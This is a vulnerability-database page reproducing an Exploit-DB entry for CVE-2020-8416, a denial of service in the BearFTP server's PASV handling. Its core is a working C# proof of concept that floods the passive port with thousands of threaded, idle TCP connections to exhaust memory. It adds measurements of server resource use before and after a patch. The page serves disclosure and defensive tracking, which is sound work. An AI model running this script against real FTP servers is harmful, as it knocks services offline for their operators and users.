Lucene search
K

BearFTP 0.1.0 - 'PASV' Denial of Service

🗓️ 03 Feb 2020 00:00:00Reported by kolya5544Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 149 Views

BearFTP 0.1.0 - 'PASV' Denial of Service exploit for v0.0.1 - v0.1.0, tested on Ubuntu 18.0

Related
Code
ReporterTitlePublishedViews
Family
0day.today
BearFTP 0.1.0 - (PASV) Denial of Service Exploit
3 Feb 202000:00
zdt
CNVD
BearFTP PASV Mode Denial of Service Vulnerability
4 Feb 202000:00
cnvd
CVE
CVE-2020-8416
29 Jan 202016:05
cve
Cvelist
CVE-2020-8416
29 Jan 202016:05
cvelist
exploitpack
BearFTP 0.1.0 - PASV Denial of Service
3 Feb 202000:00
exploitpack
NVD
CVE-2020-8416
29 Jan 202017:15
nvd
Packet Storm
BearFTP 0.1.0 Denial Of Service
1 Feb 202000:00
packetstorm
Prion
Design/Logic Flaw
29 Jan 202017:15
prion
RedhatCVE
CVE-2020-8416
22 May 202516:51
redhatcve
# Exploit Title: BearFTP 0.1.0 - 'PASV' Denial of Service
# Date: 2020-01-29
# Exploit Author: kolya5544
# Vendor Homepage: http://iktm.me/
# Software Link: https://github.com/kolya5544/BearFTP/releases
# Version: v0.0.1 - v0.1.0
# Tested on: Ubuntu 18.04
# CVE : CVE-2020-8416

static void Main(string[] args)
        {
            Console.WriteLine("DoS started. Approx. time to complete: 204 seconds.");
            for (int i = 0; i < 1024*8; i++) // We will do 8000+ connections. Usually server only spawns half of them.
            {
                new Thread(() =>
                {
                    Thread.CurrentThread.IsBackground = true;

                    TcpClient exploit = new TcpClient("HOSTNAME", PASV_PORT); //Replace with actual data to test it.
                    var ns = exploit.GetStream();
                    StreamWriter sw = new StreamWriter(ns);
                    sw.AutoFlush = true;
                    StreamReader sr = new StreamReader(ns);


                    while (true)
                    {
                        Thread.Sleep(5000); //We just spend our time.
                    }
                }).Start();
                Thread.Sleep(25); //Spawn a new connection every 25ms so we don't kill our own connection.
            }
            while (true)
            {
                Console.WriteLine("DoS attack completed!");
                Thread.Sleep(20000);
            }
        }
/*
BEFORE PATCH APPLIED (after ~100 seconds of attacking):
3700 threads spawned, VIRT went from 3388M to 32.1G, RES from 60000 to 129M. CPU usage ~10%. The server struggles to process commands. Recovers in several minutes after the attack is stopped
AFTER PATCH APPLIED:
10 threads spawned at most, VIRT didnt change, RES didnt change. CPU usage ~3%. Works fine. */

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Feb 2020 00:00Current
7.6High risk
Vulners AI Score7.6
CVSS 25
CVSS 3.17.5
EPSS0.16366
149